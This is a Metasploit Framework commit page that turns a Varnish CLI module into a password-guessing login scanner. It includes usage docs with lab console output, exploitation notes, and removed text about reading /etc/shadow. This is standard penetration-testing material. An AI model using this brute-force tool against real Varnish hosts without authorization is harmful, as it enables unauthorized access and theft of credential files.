Skip to content

Commit 3d09e28

Browse files
committed
module ready
1 parent 260f793 commit 3d09e28

File tree

3 files changed

+66
-40
lines changed

3 files changed

+66
-40
lines changed

documentation/modules/auxiliary/scanner/varnish/varnish_cli_bruteforce.md renamed to documentation/modules/auxiliary/scanner/varnish/varnish_cli_login.md

Lines changed: 39 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -1,16 +1,17 @@
11
## Vulnerable Application
22

33
Ubuntu 14.04 can `apt-get install varnish`. At the time of writing that installed varnish-3.0.5 revision 1a89b1f.
4+
Kali installed varnish-5.0.0 revision 99d036f
45

56
Varnish installed and ran the cli on localhost. First lets kill the service: `sudo service varnish stop`. Now, there are two configurations we want to test:
6-
7-
8-
1. `varnishd -T 0.0.0.0:6082` no authentication
9-
2. `varnishd -T 0.0.0.0:6082 -S <file>` authentication based on shared secret file. I made an easy test one `echo "secret" > secret`
7+
8+
1. No Authentication: `varnishd -T 0.0.0.0:6082`
9+
2. Authentication (based on shared secret file): `varnishd -T 0.0.0.0:6082 -S <file>`.
10+
1. I made an easy test one `echo "secret" > ~/secret`
1011

1112
## Exploitation Notes
1213

13-
These notes were taken from the module, and can be used when developing a working remote exploit
14+
These notes were taken from the original module in EDB, and can be used when developing a working remote exploit
1415

1516
```
1617
- varnishd typically runs as root, forked as unpriv.
@@ -83,29 +84,51 @@ enum cli_status_e {
8384

8485
1. Install the application
8586
2. Start msfconsole
86-
3. Do: ```use auxiliary/scanner/varnish/varnish_cli_bruteforce```
87+
3. Do: ```use auxiliary/scanner/varnish/varnish_cli_login```
8788
4. Do: ```run```
88-
5. You should get to read the first line of the /etc/shadow file.
89+
5. Find a valid login.
8990

9091
## Options
9192

92-
**FILE**
93+
**PASS_FILE**
9394

94-
Which file to read the first line from. The default is /etc/shadow.
95+
File which contains the password list to use.
9596

9697
## Scenarios
9798

9899
Running against Ubuntu 14.04 with varnish-3.0.5 revision 1a89b1f and NO AUTHENTICATION
99100

100101
```
101-
msf auxiliary(varnish_cli_bruteforce) > use auxiliary/scanner/varnish/varnish_cli_bruteforce
102-
msf auxiliary(varnish_cli_bruteforce) > set verbose true
102+
resource (varnish.rc)> use auxiliary/scanner/varnish/varnish_cli_login
103+
resource (varnish.rc)> set pass_file /root/varnish.list
104+
pass_file => /root/varnish.list
105+
resource (varnish.rc)> set rhosts 192.168.2.85
106+
rhosts => 192.168.2.85
107+
resource (varnish.rc)> set verbose true
103108
verbose => true
104-
msf auxiliary(varnish_cli_bruteforce) > run
105-
106-
[+] 192.168.2.85:6082 - Varnishd CLI does not require authentication!
107-
[+] 192.168.2.85:6082 - First line of /etc/shadow: root:!:17123:0:99999:7::::
109+
resource (varnish.rc)> run
110+
[+] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN SUCCESSFUL: No Authentication Required
108111
[*] Scanned 1 of 1 hosts (100% complete)
109112
[*] Auxiliary module execution completed
113+
msf auxiliary(varnish_cli_login) >
114+
```
110115
111-
```
116+
Running against Ubuntu 14.04 with varnish-3.0.5 revision 1a89b1f
117+
118+
```
119+
resource (varnish.rc)> use auxiliary/scanner/varnish/varnish_cli_login
120+
resource (varnish.rc)> set pass_file /root/varnish.list
121+
pass_file => /root/varnish.list
122+
resource (varnish.rc)> set rhosts 192.168.2.85
123+
rhosts => 192.168.2.85
124+
resource (varnish.rc)> set verbose true
125+
verbose => true
126+
resource (varnish.rc)> run
127+
[*] 192.168.2.85:6082 - 192.168.2.85:6082 - Authentication Required
128+
[!] 192.168.2.85:6082 - No active DB -- Credential data will not be saved!
129+
[*] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN FAILED: bad
130+
[*] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN FAILED: good
131+
[+] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN SUCCESSFUL: secret
132+
[*] Scanned 1 of 1 hosts (100% complete)
133+
[*] Auxiliary module execution completed
134+
```

lib/metasploit/framework/varnish/client.rb

Lines changed: 8 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -12,8 +12,13 @@ module Client
1212

1313
def require_auth?
1414
# function returns false if no auth is required, else the challenge string
15-
sock.put("auth #{Rex::Text.rand_text_alphanumeric(64)}\n") # Cause a login fail to get the challenge. Length is correct, but this has upper chars, subtle diff
16-
res = sock.get_once(-1,3) # grab challenge
15+
res = sock.get_once # varnish can give the challenge on connect, so check if we have it already
16+
if res && res =~ @@AUTH_REQUIRED_REGEX
17+
return $1
18+
end
19+
# Cause a login fail to get the challenge. Length is correct, but this has upper chars, subtle diff for debugging
20+
sock.put("auth #{Rex::Text.rand_text_alphanumeric(64)}\n")
21+
res = sock.get_once # grab challenge
1722
if res && res =~ @@AUTH_REQUIRED_REGEX
1823
return $1
1924
end
@@ -27,11 +32,10 @@ def login(pass)
2732
if !!challenge
2833
response = Digest::SHA256.hexdigest("#{challenge}\n#{pass.strip}\n#{challenge}\n")
2934
sock.put("auth #{response}\n")
30-
res = sock.get_once(-1,3)
35+
res = sock.get_once
3136
if res && res =~ @@AUTH_SUCCESS_REGEX
3237
return true
3338
else
34-
raise RuntimeError, "|||#{challenge}|||#{pass.strip}|||#{response}"
3539
return false
3640
end
3741
else

modules/auxiliary/scanner/varnish/varnish_cli_login.rb

Lines changed: 19 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
##
2-
# This module requires Metasploit: http//metasploit.com/download
2+
# This module requires Metasploit: http://metasploit.com/download
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

@@ -13,6 +13,7 @@ class MetasploitModule < Msf::Auxiliary
1313
include Msf::Exploit::Remote::Tcp
1414
include Msf::Auxiliary::Report
1515
include Msf::Auxiliary::Scanner
16+
include Metasploit::Framework::Varnish::Client
1617

1718
def initialize
1819
super(
@@ -37,38 +38,37 @@ def initialize
3738
register_options(
3839
[
3940
Opt::RPORT(6082),
40-
OptPath.new('PASS_FILE', [ false, 'File containing passwords, one per line',
41+
OptPath.new('PASS_FILE', [ true, 'File containing passwords, one per line',
4142
File.join(Msf::Config.data_directory, 'wordlists', 'unix_passwords.txt') ])
4243
], self.class)
4344

44-
# no username, only a shared key aka password
45-
#deregister_options('USERNAME', 'USER_FILE', 'USERPASS_FILE', 'USER_AS_PASS', 'DB_ALL_CREDS', 'DB_ALL_USERS')
46-
4745
# We don't currently support an auth mechanism that uses usernames, so we'll ignore any
4846
# usernames that are passed in.
4947
@strip_usernames = true
5048
end
5149

52-
def setup
53-
super
54-
# They must select at least blank passwords, provide a pass file or a password
55-
one_required = %w(BLANK_PASSWORDS PASS_FILE PASSWORD)
56-
unless one_required.any? { |o| datastore.has_key?(o) && datastore[o] }
57-
fail_with(Failure::BadConfig, "Invalid options: One of #{one_required.join(', ')} must be set")
58-
end
59-
if !datastore['PASS_FILE']
60-
if !datastore['BLANK_PASSWORDS'] && datastore['PASSWORD'].blank?
61-
fail_with(Failure::BadConfig, "PASSWORD or PASS_FILE must be set to a non-empty string if not BLANK_PASSWORDS")
50+
def run_host(ip)
51+
# first check if we even need auth
52+
begin
53+
connect
54+
if !require_auth?
55+
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: No Authentication Required"
56+
close_session
57+
disconnect
58+
return
59+
else
60+
vprint_status "#{ip}:#{rport} - Authentication Required"
6261
end
62+
close_session
63+
disconnect
64+
rescue Rex::ConnectionError, EOFError, Timeout::Error
65+
print_error "#{ip}:#{rport} - Unable to connect"
6366
end
64-
end
6567

66-
def run_host(ip)
6768
cred_collection = Metasploit::Framework::CredentialCollection.new(
6869
pass_file: datastore['PASS_FILE'],
6970
username: '<BLANK>'
7071
)
71-
vprint_status('made cred collector')
7272
scanner = Metasploit::Framework::LoginScanner::VarnishCLI.new(
7373
host: ip,
7474
port: rport,
@@ -79,7 +79,6 @@ def run_host(ip)
7979
framework_module: self,
8080

8181
)
82-
vprint_status('made scanner')
8382
scanner.scan! do |result|
8483
credential_data = result.to_h
8584
credential_data.merge!(
@@ -94,7 +93,7 @@ def run_host(ip)
9493
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential.private}"
9594
else
9695
invalidate_login(credential_data)
97-
vprint_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential.private} (#{result.status})"
96+
vprint_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential.private}"
9897
end
9998
end
10099
end

0 commit comments

Comments
 (0)